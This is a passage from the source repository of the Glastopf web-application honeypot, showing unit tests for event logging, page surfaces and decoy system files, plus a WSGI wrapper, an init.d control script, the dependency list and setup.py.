TestSQLAlchemy(unittest.TestCase): 29 | def test_sqla_insert(self): 30 | #in-memory sqlite database 31 | sqla_engine = create_engine("sqlite:///") 32 | maindb = log_sql.Database(sqla_engine) 33 | 34 | #prepare attack event 35 | attack_event = attack.AttackEvent() 36 | timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 37 | attack_event.event_time = timestamp 38 | attack_event.matched_pattern = "test_test" 39 | attack_event.source_addr = ("192.168.1.201", 12345) 40 | request = ( 41 | 'GET /breadandbytter.php?a=b HTTP/1.0\r\n' 42 | 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' 43 | 'ISO-8859-1,utf-8;q=0.7,*;q=0.3r\n' 44 | 'Connection: keep-alive\r\n\r\n' 45 | 'some stuff' 46 | ) 47 | attack_event.http_request = HTTPHandler(request, None) 48 | 49 | #insert attack event 50 | maindb.insert(attack_event) 51 | 52 | #try to extract event from the database 53 | sql = "SELECT * FROM events" 54 | results = sqla_engine.connect().execute(sql).fetchall() 55 | #Check if database returned the correct amount 56 | self.assertEqual(len(list(results)), 1) 57 | print results[0] 58 | entry = results[0] 59 | #check basic attributes 60 | #time 61 | self.assertEqual(entry[1], timestamp) 62 | #source 63 | self.assertEqual(entry[2], "192.168.1.201:12345") 64 | #request_url 65 | self.assertEqual(entry[3], "/breadandbytter.php?a=b") 66 | #request_body 67 | self.assertEqual(entry[4], request) 68 | #pattern 69 | self.assertEqual(entry[5], "test_test") 70 | 71 | 72 | if __name__ == '__main__': 73 | unittest.main() 74 | -------------------------------------------------------------------------------- /glastopf/testing/test_surface.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | import tempfile 20 | import shutil 21 | import unittest 22 | import ConfigParser 23 | 24 | from glastopf.glastopf import GlastopfHoneypot 25 | from glastopf.modules.handlers.emulators.surface import create_surface 26 | 27 | 28 | class TestSurfaceCreation(unittest.TestCase): 29 | 30 | def setUp(self): 31 | self.workdir = tempfile.mkdtemp() 32 | self.datadir = os.path.join(self.workdir, 'data') 33 | GlastopfHoneypot.prepare_environment(self.workdir) 34 | 35 | def tearDown(self): 36 | shutil.rmtree(self.workdir) 37 | 38 | def test_template(self): 39 | surface_creator = create_surface.SurfaceCreator(data_dir=self.datadir) 40 | print surface_creator.get_index() 41 | 42 | def test_meta(self): 43 | """ 44 | Objective: Test google/bing page verification support. 45 | """ 46 | test_meta = ['0cfa9f600839f57e90e5559b8ee54864', 'fbeefa5876ae12675451e144530b2f66'] 47 | config = ConfigParser.RawConfigParser() 48 | config.add_section('surface') 49 | config.set('surface', 'google_meta', test_meta[0]) 50 | config.set('surface', 'bing_meta', test_meta[1]) 51 | surface_creator = create_surface.SurfaceCreator(data_dir=self.datadir, conf_parser=config) 52 | for meta in test_meta: 53 | self.assertTrue(meta in surface_creator.get_index()) 54 | 55 | if __name__ == '__main__': 56 | unittest.main() 57 | -------------------------------------------------------------------------------- /glastopf/testing/test_surfcertids.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import unittest 19 | import os 20 | import shutil 21 | import tempfile 22 | 23 | from glastopf.testing import helpers 24 | from glastopf.modules.events.attack import AttackEvent 25 | from glastopf.modules.HTTP.handler import HTTPHandler 26 | from glastopf.modules.reporting.auxiliary.log_surfcertids import LogSURFcertIDS 27 | 28 | 29 | class Test_Loggers(unittest.TestCase): 30 | 31 | def setUp(self): 32 | self.tmpdir = tempfile.mkdtemp() 33 | 34 | def tearDown(self): 35 | if os.path.isdir(self.tmpdir): 36 | shutil.rmtree(self.tmpdir) 37 | 38 | def test_surfcertids(self): 39 | """Objective: Testing if a basic event can be transmitted using hpfriends.""" 40 | 41 | config_file = tempfile.mkstemp()[1] 42 | with open(config_file, 'w') as f: 43 | f.writelines(helpers.gen_config('')) 44 | 45 | try: 46 | attack_event = AttackEvent() 47 | request = "GET /pub/WWW/TheProject.html HTTP/1.1\r\n" \ 48 | "Host: www.evil.org\r\n" \ 49 | "Referer: http://www.honeynet.org\r\n" \ 50 | "User-Agent: Mozilla 5\r\n" \ 51 | "\r\n\r\n" \ 52 | "GET /beer\r\n" 53 | 54 | attack_event.http_request = HTTPHandler(request, "1.2.3.4") 55 | attack_event.source_addr = ('4.3.2.1', 41022) 56 | logSURFcertIDS = LogSURFcertIDS(None, os.getcwd(), config_file) 57 | logSURFcertIDS.connection = connectionMock() 58 | finally: 59 | if os.path.isfile(config_file): 60 | os.remove(config_file) 61 | 62 | 63 | class connectionMock(object): 64 | class cursorMock(object): 65 | def execute(self, sql_statement, something): 66 | pass 67 | 68 | def fetchall(self): 69 | return [1, 2, 3, 4] 70 | 71 | def close(self): 72 | pass 73 | 74 | def commit(self): 75 | pass 76 | 77 | def cursor(self): 78 | return self.cursorMock() 79 | 80 | 81 | if __name__ == '__main__': 82 | unittest.main() 83 | -------------------------------------------------------------------------------- /glastopf/testing/test_vdocs.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import unittest 19 | import hashlib 20 | import shutil 21 | import os 22 | import tempfile 23 | import random 24 | 25 | from glastopf.modules import vdocs 26 | 27 | 28 | class TestVirtualDocs(unittest.TestCase): 29 | 30 | def test_virtualdocs(self): 31 | """Objective: Test for the creation of random files in the virtual directories 32 | Input: Return value from GlastopfHoneypot.randomize_vdocs() 33 | Expected Result: Two runs of GlastopfHoneypot.randomize_vdocs() have different results 34 | Notes:""" 35 | v_files = ("shadow", "passwd", "group") 36 | f_dir1 = tempfile.mkdtemp() 37 | f_dir2 = tempfile.mkdtemp() 38 | os.makedirs(os.path.join(f_dir1, "linux/etc")) 39 | os.makedirs(os.path.join(f_dir2, "linux/etc")) 40 | vdocs.randomize_vdocs(f_dir1) 41 | vdocs.randomize_vdocs(f_dir2) 42 | for v_file in v_files: 43 | file_1 = open(os.path.join(f_dir1, "linux/etc/", v_file), "r") 44 | file_2 = open(os.path.join(f_dir2, "linux/etc/", v_file), "r") 45 | md5_1 = hashlib.md5(file_1.read()).hexdigest() 46 | md5_2 = hashlib.md5(file_2.read()).hexdigest() 47 | file_1.close() 48 | file_2.close() 49 | self.assertNotEqual(md5_1, md5_2) 50 | shutil.rmtree(f_dir1) 51 | shutil.rmtree(f_dir2) 52 | 53 | def test_get_entry(self): 54 | """Objective: Test if the entries generated by the '_get_entry()'different. 55 | Input: Return value from GlastopfHoneypot._get_entry() 56 | Expected Result: Two runs of GlastopfHoneypot._get_entry() generate different results 57 | Notes:""" 58 | user_id1 = random.randint(1000, 1500) # Realistic user ID 59 | pwd_entry1, shd_entry1, grp_entry1 = vdocs._get_entry(user_id1) 60 | user_id2 = random.randint(1000, 1500) 61 | pwd_entry2, shd_entry2, grp_entry2 = vdocs._get_entry(user_id2) 62 | self.assertNotEqual(pwd_entry1, pwd_entry2) 63 | self.assertNotEqual(shd_entry1, shd_entry2) 64 | self.assertNotEqual(grp_entry1, grp_entry2) 65 | 66 | 67 | if __name__ == '__main__': 68 | unittest.main() 69 | -------------------------------------------------------------------------------- /glastopf/wsgi_wrapper.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | from webob import Request, Response 19 | 20 | class GlastopfWSGI(object): 21 | def __init__(self, honeypot): 22 | self.honeypot = honeypot 23 | 24 | def remove_hop_by_hop_headers(self, headers): 25 | """ 26 | Removes hop-by-hop headers from a dictionary of headers. 27 | """ 28 | hop_by_hop_names = ("connection", "keep-alive", "proxy-authenticate", 29 | "proxy-authorization", "te", "trailers", 30 | "transfer-encoding", "upgrade") 31 | 32 | for header in hop_by_hop_names: 33 | if header in headers: 34 | del headers[header] 35 | 36 | def application(self, environ, start_response): 37 | req_webob = Request(environ) 38 | res_webob = Response() 39 | 40 | #addr tuple as glastopf expects it 41 | remote_addr = (req_webob.remote_addr, int(environ["REMOTE_PORT"])) 42 | if "SERVER_NAME" in environ and "SERVER_PORT" in environ: 43 | # we could use socket.gethostbyname to get the ip... 44 | sensor_addr = (environ['wsgi.input'].rfile._sock.getsockname()[0], environ['wsgi.input'].rfile._sock.getsockname()[1]) 45 | else: 46 | sensor_addr = ("", "") 47 | 48 | header, body = self.honeypot.handle_request(req_webob.as_text(), 49 | remote_addr, sensor_addr) 50 | proto, code, msg = ['HTTP/1.0','200','OK'] 51 | 52 | for h in header.splitlines(): 53 | if ":" in h: 54 | h, v = h.split(":", 1) 55 | res_webob.headers[str(h.strip())] = str(v.strip()) 56 | elif "HTTP/" in h: 57 | proto, code, msg = h.split(" ",2) 58 | 59 | # this will adjust content-length header 60 | res_webob.status = code 61 | res_webob.charset = "utf8" 62 | res_webob.text = body.decode("utf-8", "ignore") 63 | 64 | #WSGI applications are not allowed to create or modify hop-by-hop headers 65 | self.remove_hop_by_hop_headers(res_webob.headers) 66 | return res_webob(environ, start_response) 67 | -------------------------------------------------------------------------------- /init.d/glastopf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This file is part of the Glastopf honeypot 3 | # 4 | # Main developer - Colleen Blaho 5 | # Based on the Kojoney2 script by - Justin C. Klein Keane 6 | # And Jose Antonio Coret 7 | # Last updated 9 Jan 2015 8 | # 9 | # chkconfig: 2345 99 15 10 | # description: Glastopf, the web application honeypot -- http://glastopf.org 11 | # 12 | # processname: glastopf 13 | # config: $workdir/glastopf.cfg 14 | # pidfile: none 15 | 16 | if [ ! -z "$2" ]; then 17 | workdir="$2" 18 | else 19 | echo "Use default directory of /opt/myhoneypot? [y/N]" 20 | read RESPONSE 21 | if [ $RESPONSE = "y" ]; then 22 | workdir=/opt/myhoneypot 23 | else 24 | echo "[ERROR] No directory specified. Aborting." 25 | exit 1 26 | fi 27 | fi 28 | 29 | #check that all assets are correct 30 | 31 | command -v glastopf-runner >/dev/null 2>&1 || { echo >&2 "[ERROR] Glastopf executable not found! Aborting."; exit 1; } 32 | command -v tmux >/dev/null 2>&1 || { echo >&2 "[ERROR] I require Tmux but it's not installed. Aborting."; exit 1; } 33 | 34 | if [ -e $workdir ]; then 35 | if [ ! -d $workdir ]; then 36 | echo >&2 "[ERROR] Workdir exists as file! Aborting." 37 | exit 1 38 | fi 39 | else 40 | echo "[Warning] The workdir specified in this script was not found, so it has been created at $workdir" 41 | mkdir $workdir 42 | fi 43 | case "$1" in 44 | start) 45 | echo -n "Starting Glastopf Honeypot" 46 | tmux new-session -d -s glastopf "glastopf-runner --workdir $workdir" 47 | # if you are using a python virtualenv: 48 | #tmux new-session -d -s glastopf "source /opt/glastopf-virt/bin/activate && glastopf-runner --workdir $workdir" 49 | ;; 50 | stop) 51 | echo -n "Stopping Glastopf Honeypot" 52 | tmux kill-session -t glastopf 53 | ;; 54 | 55 | kill) 56 | echo -n "Killing Glastopf Honeypot: " 57 | kill -9 `ps aux | grep tmux | grep -v grep | awk '{ print $2 }'` 58 | ;; 59 | 60 | restart) 61 | echo "Restarting Glastopf Honeypot: " 62 | /etc/init.d/glastopf stop > /dev/null 63 | /etc/init.d/glastopf start > /dev/null 64 | 65 | ;; 66 | 67 | status) 68 | tmux has-session -t glastopf 69 | 70 | value=`ps aux | grep glastopf-runner | grep -v grep | wc -l` 71 | 72 | if [ $value -eq 0 ]; then 73 | echo "Glastopf is stopped." 74 | else 75 | echo "Glastopf is running." 76 | fi 77 | ;; 78 | 79 | attach) 80 | tmux attach -t glastopf 81 | ;; 82 | 83 | *) 84 | echo "Usage: /etc/init.d/glastopf {start|stop|kill|restart|status|attach} (workdir)" 85 | exit 1 86 | 87 | esac 88 | 89 | exit 0 90 | 91 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | gevent>=1.0 2 | webob>=1.2.0 3 | pyopenssl 4 | lxml 5 | sqlalchemy>=0.8.0 6 | jinja2 7 | beautifulsoup>=3.2.0 8 | requests>=2.20.0 9 | cssselect>=0.7.0 10 | pymongo>=2.4 11 | MySQL-python 12 | hpfeeds 13 | pylibinjection 14 | libtaxii>=1.1 15 | python-logstash 16 | botocore 17 | urllib3==1.26.18 18 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | 3 | setup( 4 | name='Glastopf', 5 | version='3.1.3-dev', 6 | packages=find_packages(exclude=['bin', 'testing', 'docs']), 7 | scripts=['bin/glastopf-runner'], 8 | url='http://glastopf.org', 9 | license='GPL 3', 10 | author='Glastopf Project', 11 | include_package_data=True, 12 | long_description=open('README.rst').read(), 13 | package_data={'glastopf': ['sandbox/Makefile']}, 14 | author_email='glastopf@public.honeynet.org', 15 | description='Web application honeypot', 16 | test_suite='nose.collector', 17 | dependency_links=[ 18 | "git+https://github.com/rep/hpfeeds.git#egg=hpfeeds-0.1", 19 | ], 20 | install_requires=open('requirements.txt').read().splitlines(), 21 | ) 22 | --------------------------------------------------------------------------------